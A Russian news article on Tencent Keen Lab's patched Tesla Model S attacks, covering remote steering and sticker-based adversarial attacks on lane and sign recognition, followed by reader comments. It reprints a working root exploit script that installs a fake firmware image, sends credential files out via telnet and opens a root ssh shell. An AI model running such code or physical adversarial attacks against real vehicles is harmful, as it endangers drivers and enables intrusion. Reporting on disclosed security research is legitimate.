Хакеры заставили автопилот «Теслы» выехать на «встречку»


    Камеры main, narrow и fisheye («рыбий глаз») на автомобиле Tesla Model S 75. Они обеспечивают входные данные для нейросетей автопилота

    Исследователи из компании Tencent Keen Security Lab опубликовали отчёт с описанием успешной атаки на прошивку автомобиля Tesla Model S 75, включая удалённое управление рулевым колесом и атаку с помощью «состязательных примеров» (adversarial example) на автопилот, принудив его выехать на полосу встречного движения. Tesla активно применяет нейросети для многих задач машинного зрения, чем и воспользовались злоумышленники, которые применили стандартные методы атаки на машинное зрение.

    Для эксплойта исследователи использовали цепочку уязвимостей, которую впоследствии раскрыли Tesla. Автопроизводитель закрыл уязвимости патчем 2018.24.

    Для атаки с удалённым управление рулевым колесом исследователям пришлось обойти несколько уровней защиты. Тем не менее, они смогли написать приложение, которое позволило подключить геймпад к мобильному устройству — и через него управлять автомобилем.


    Дизайн системы для удалённого управления рулевым колесом Tesla Model S 75 с геймпада

    Эта атака имеет некоторые ограничения: так, можно полностью захватить контроль над автомобилем, который запаркован или едет на высокой скорости на круиз-контроле. Но если автомобиль недавно перешёл с передачи R на D, то им можно дистанционно управлять только со скоростью не более 8 км/ч.

    Ниже опубликован скрипт для получения рутового доступа к автопилоту. Скрипт работает на Model S 75 в версии прошивки 2018.6.1 и закрыт патчем 2018.24.

    #!/bin/bash 
    
    APE=192.168.90.103 
    PORT=25974 
    
    HTTP_IP=192.168.90.100 
    HTTP_PORT=$((7000+$(($RANDOM%2000)))) 
    
    #REALSSQ=ape_17.17.4.ssq #for ape2.0 375767104 
    REALSSQ=ape25_2018.6.1.ssq #for ape2.5 285941824 
    
    REALSSQ=$(readlink -f $REALSSQ) 
    
    #rm fakessq 
    rm -rf /tmp/fakessq_root 
    
    mkdir -p /tmp/fakessq_root/deploy 
    echo 1 > /tmp/fakessq_root/deploy/security-version 
    cat << EOF > /tmp/fakessq_root/deploy/ape-updater 
    #!/bin/sh 
    iptables -F 
    cat /var/etc/saccess/tesla*|telnet 192.168.90.145 6666 
    cat /var/etc/saccess/tesla*|telnet 192.168.90.100 6666 
    umount /etc/ssh/sshd_config 
    umount /etc/shadow 
    mount -o bind /mnt/.etc.ro/shadow /etc/shadow 
    mount -o bind /mnt/.etc.ro/ssh/sshd_config /etc/ssh/sshd_config 
    mount -o bind /etc/ssh/sshd_config /etc/ssh/sshd_config_locked 
    mount -o bind /etc/shadow_unlocked /etc/shadow 
    sv restart sshd 
    head -c 4 /bin/ape-updater|grep "#!" && rm /bin/ape-updater && cp /deploy/ape-updater /bin/ape-updater /bin/ape-updater 
    EOF 
    
    chmod 755 /tmp/fakessq_root/deploy/ape-updater 
    
    #Uncomment this if you want to exploit the APE from your computer with IP 192.168.90.100 
    #mksquashfs /tmp/fakessq_root ./fakessq -b 131072 -all-root -no-progress > /dev/null 
    
    SERVE1=$REALSSQ 
    SERVE2=fakessq 
    
    SERVE=$SERVE1 
    while { RESPONSE="HTTP/1.1 200 OK\r\nConnection:keep-alive\r\nContent-Length: $(stat -c%s $SERVE)\r\n\r\n"; echo -en "$RESPONSE"; cat $SERVE; } | nc -l $HTTP_PORT ; do 
    	SERVE=$SERVE2 
    done & 
    
    echo "reset" |nc $APE $PORT 
    sleep 1 
    echo "reset" |nc $APE $PORT 
    sleep 1 
    
    cat <(echo -ne "watch\ninstall http://"$HTTP_IP":"$HTTP_PORT"/$REALSSQ\n") - |nc $APE $PORT|while IFS= read -r line; do 
    	echo $line 
    	if [[ $line == *"got_bytes=342614080 expected_bytes=342614080 offset_bytes=0" ]] ; then 
    		sleep 2 
    		echo "install http://"$HTTP_IP":"$HTTP_PORT"/fakessq" |nc $APE $PORT 
    	fi 
    	if [[ $line == *"got_bytes=285941824 expected_bytes=285941824 offset_bytes=0" ]] ; then 
    		sleep 2 
    		echo "install http://"$HTTP_IP":"$HTTP_PORT"/fakessq" |nc $APE $PORT 
    	fi 
    	if [[ $line == *"status=complete got_bytes=4096 expected_bytes=4096 offset_bytes=0" ]] ; then 
    		sleep 2 
    		break 
    
    	fi 
    done 
    
    sleep 3 
    echo -ne "\n\n\nDone\nPlease Press Enter\n" 
    ssh root@$APE

    Автомобили Tesla используют различные нейронные сети для автопилота и других функций (таких как обнаружение дождя на ветровом стекле и включение дворников). Для примера, ниже нейросеть, которая используется для распознавания полосы по картинке с основной и дополнительной камер.



    А вот архитектура нейросети для обработки картинки с панорамной камеры «рыбий глаз».



    Исследователи использовали состязательные примеры для атаки на эти нейросети.

    Самым впечатляющим стал взлом системы обнаружения полосы движения. Добавив к разметке полосы шум в качестве «состязательных примеров», исследователи смогли обмануть автопилот, чтобы он полностью сбился с полосы. Более того, хакеры с помощью небольших стикеров на земле провели атаку типа «фальшивая полоса», которая обманным путём заставила автопилот выехать на полосу встречного движения. Атака работала даже в хороших погодных условиях, при дневном свете без снега, пыли или других помех.

    Хакеры показали, что если нарисовать на снимке с камеры три маленьких квадрата в определённых местах, то модуль машинного зрения с высокой степенью уверенности распознает его как линию разметки. Затем они воссоздали сценарий в физическом мире.



    На схеме вверху показаны красные интерференционные стикеры на дорожном полотне, которые автопилот Tesla рассматривает как продолжение своей правой полосы, при этом игнорируя реальную левую полосу напротив перекрёстка. Когда он доберётся до середины перекрестка, то займёт настоящую левую полосу, словно это его правая полоса.

    Функция распознавания полосы автопилота Tesla хорошо работает в разных погодных условиях, но всё равно уязвима для такой относительно простой атаки. Исследователи подчёркивают, что этот вид атаки прост в развёртывании, а материалы легко получить. Эксперименты доказали, что эта архитектура с использованием нейросетей имеет определённые риски для безопасности, поскольку распознавание встречной полосы движения — одна из необходимых функций для автономного вождения на дорогах общего пользования без разделительной зоны между полосами с разным направлением.

    Состязательные примеры против машинного зрения


    Состязательные (враждебные) примеры — очень популярный тип атаки на алгоритмы машинного обучения, особенно по обработке изображений. Нейросеть представляет собой «чёрный ящик», которая реагирует на специфические признаки, иногда непонятные для человеческой логики. Задача хакера — внести минимальные изменения в изображение, чтобы классификатор нейросети распознал это изображение как совершенно иной класс. Это делается путём максимизации активации, например, определённого фильтра свёрточной нейросети.

    Особо ценится, если для человека изображение практически не меняется.


    В работе от 2015 года исследователи из Google показали, что глубинные нейросети можно заставить отнести это изображение панды к гиббонам

    Хакеры уже провели ряд успешных атак на беспилотные автомобили. В августе 2017 года специалисты из Калифорнийского университета в Беркли, Мичиганского университета и Университет штата Нью-Йорк в Стоуни-Брук разработали новый алгоритм атаки — надёжные физические пертурбации (Robust Physical Perturbations или RP2). Он очень эффективно сбивает зрение беспилотных автомобилей, роботов, мультикоптеров и любых других роботизированных систем, которые пытаются ориентироваться в окружающем пространстве.

    Задачей исследователей было найти минимально возможную дельту, которая бы сбивала классификатор системы машинного обучения, который обучался на наборе данных с изображениями дорожных знаков LISA. Авторы самостоятельно сделали ряд фотографий дорожных знаков на улице в разных условиях (расстояние, углы, освещение) и дополнили набор данных для обучения.

    После вычисления дельты была выявлена маска — такое место (или несколько мест) в изображении, которое наиболее надёжно вызывает пертурбации у системы машинного обучения (машинного зрения). Был проведён ряд экспериментов для проверки результатов. В основном, эксперименты проводились на стоп-сигнале (знак «STOP»), который исследователи несколькими безобидными манипуляциями превращали для машинного зрения в знак «SPEED LIMIT 45». Разработанную технику можно использовать на любых других знаках. Авторы затем испытали её на знаке поворота.


    Набор экспериментальных изображений с художественными стикерами на разных расстояниях и под разными углами: (а) 5 футов, 0 градусов; (b) 5' 15°; (с) 10' 0°; (d) 10' 30°; (e) 40' 0°. Обман работает на любом расстоянии и под любым углом: вместо знака «Стоп» система машинного обучения видит знак «Ограничение скорости 45 миль»

    Научный коллектив разработал два варианта атаки на системы машинного зрения, которые распознают дорожные знаки. Первая атака — маленькие незаметные изменения по всей площади знака. С помощью оптимизатора Adam им удалось минимизировать маску для создания отдельных таргетированных состязательных примеров, нацеленных на конкретные дорожные знаки. В этом случае можно обманывать системы машинного обучения минимальными изменениями картинки, а люди вообще ничего не заметят. Эффективность этого типа атаки проверяли на напечатанных постерах с небольшими изменениями (сначала исследователи убедились, что система машинного зрения успешно распознаёт постеры без изменений).

    Второй тип атаки — камуфляжная. Здесь система имитирует или акты вандализма, или художественные граффити, чтобы система не мешала жизни окружающих людей. Таким образом, человек-водитель за рулём сразу увидит знак поворота налево или стоп-сигнал, а робот увидит совершенно другой знак. Эффективность этого типа атаки проверяли на настоящих дорожных знаках, которые заклеивали стикерами. Камуфляж-граффити состоял из стикеров в форме слов LOVE и HATE, а камуфляж типа абстрактного искусства — из четырёх стикеров прямоугольной формы чёрного и белого цветов.



    Такие «глюки» нейросети кажутся забавными, но могут серьёзно осложнить распространение беспилотного транспорта. Судя по всему, перед состязательными примерами уязвимы все нейросети. Если хулиганство с такими граффити будет обманывать машинное зрение, то беспилотные автомобили могут вообще не допустить на дороги общего пользования.
    Поделиться публикацией

    Комментарии 20

      +1

      почему после обнаружения знака дополнительно к НС его не прокоррелировать с опорным?...

        +1

        При произвольном положении знака относительно камеры это довольно сложно. А иначе бы без НС вообще обошлись.

          +1
          при мощностях затрачиваемых НС, куча корреляторов с разными углами поворотов знаков (заметьте, что поворот нужен только вокруг одной оси) просто капля в море, а на видеокарте (как они это делают сейчас) это можно сделать одной сверткой с массивом разбитого на кучу заранее подготовленных опорных кадров…
          короче проверка была бы не лишней и не стоит ничего по сравнению с мощностями НС.
            0
            Вы «изобрели» вейвлет-анализ :) Там примерно так всё и делается (только свёртка идёт значительно хитрее, но смысл примерно тот же).
            Только вот сильно сомневаюсь что мощностей потребуется сильно меньше НС. Знаков-то много. Проверять надо на каждый (пусть и по одному за раз) и как-то разруливать противоречия. Это уже неплохой такой монстр получается.
            НС — они не просто так популярны.
              +1
              нет, есть математическое доказательноство, что идеальный приёмник — это коррелятор, вейвлет его не заменит, по этому, если вы сможете прокоррелировать с опорным сигналом с разными фазами вы получите оптимальный (лучше не существует) обнаружитель.
              количество знаков намного меньше, чем может свернуть видеокарта в секунду, а НС всегда будут иметь варианты ответов, которые невозможно предсказать и проверить.
        +5
        Вместо тысячи
        слов.

          0
          Могли бы, кстати, определять группу знака по его форме и цвету. Не зря у знаков «стоп» и «уступи дорогу» особые формы. Для встречки, правда, но тут это только плюс.
            0
            Два года тому назад: Беспилотный автомобиль Cognitive Pilot. Местами разметку не видно совсем. Если к этому добавить еще трехмерный радар, которому не так страшны погодные условия, то понятно, почему как минимум два автопроизводителя в следующем году выпускают свои автомобили с этой системой…
              0
              Вообще не понятно почему и кто.
              0
              В будущем можно карту, со всеми знаками заносить прямо в базу данных. Тогда компьютер сможет всегда проверить, тот ли знак он увидел на дороге.
                0
                Доверять свою шкуру пункткальности дорожной службы желающих наберётся немного :)
                  0
                  а дорожные работы? А обновления? А хакеры? А пьяный дядя Вася на КамАЗе, стохастически меняющий наличие знаков за 5 мин до проезда умного автомобиля? (водитель по ПДД обязан ехать по фактическим знакам)
                  Не не прокатит такая система _сейчас_

                  Если мы хотим «умные автомобили» — нужно полностью менять сам подход к дорожному движению на всех уровнях: от физического до законодательного. Делать что-то похожее на железнодорожное или воздушное движение. С маршрутами и диспетчерами.
                    0
                    Вот не хочу умный автомомбиль.
                    Мне его вполне заменяет вагон — сел, тебя везут, и тебе плевать, делает это Маша, Вася или компьютер, а ты занят своими мыслями или сном.
                    Но пока тебя везет Вася, который хочет как и ты жить, ну, плюс-минус, то ты спокоен.
                    А когда тебя везет ИИ, которому плевать и на себя и на тебя, и на Жорика из той деревни,
                    то вот уж лучше взять в руки баранку и ехать самому с руками на ней, как того разумно требуют ПДД.
                    Нет, честно, никогда не думал, что придется делать права и обзаводиться ведром, но, видимо, придется…… если за рулём трамвая окажется ИИ.
                      0
                      А дорожные работы? А обновления?

                      Можно согласовать. Технически это гораздо легче, чем кажется. Если это что-то запланированное — то решаемо на бюрократическом уровне. Более того, оно не только автопилотам может быть полезно. Ну или: автопилот видит странное? Снижаем скорость и записываем. Кроме того


                      А хакеры?

                      Заняты распространением троянцев и прочими более прибыльными делами.


                      А пьяный дядя Вася на КамАЗе, стохастически меняющий наличие знаков за 5 мин до проезда умного автомобиля?

                      А вот это уже можно приравнять к стихийному бедствию. С оцеплением, введением чрезвычайного положения и гуманитарной помощью пострадавшим.

                    0
                    Объясните мне, пожалуйста.
                    Разве может хакер получить контроль над компьютером Теслы, которая едет под управлением автопилота?
                    Я думал, что в это время компьютер Теслы не в сети.
                      0
                      Искажённый дорожный знак приводит к неверной работе автопилота. «Доступ» к компу в данном случае через камеру машины.
                        0
                        Спасибо.
                        Возможно, я не понял.
                        На дороге хакеры поставили Искажённый дорожный знак?
                          0
                          На дороге начертили искажённую разметку, которая таковой не кажется для обычного человека.
                          А искажённый знак — другие исследователи и не с теслой вроде.
                            0
                            Не суть, что именно, какие-то графические образы, которые влияют на поведение системы. В данном примере квадратики на дороге.
                        +1

                        Вспомнилась классика: https://youtu.be/H3SQQMmGInM

                        Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                        Самое читаемое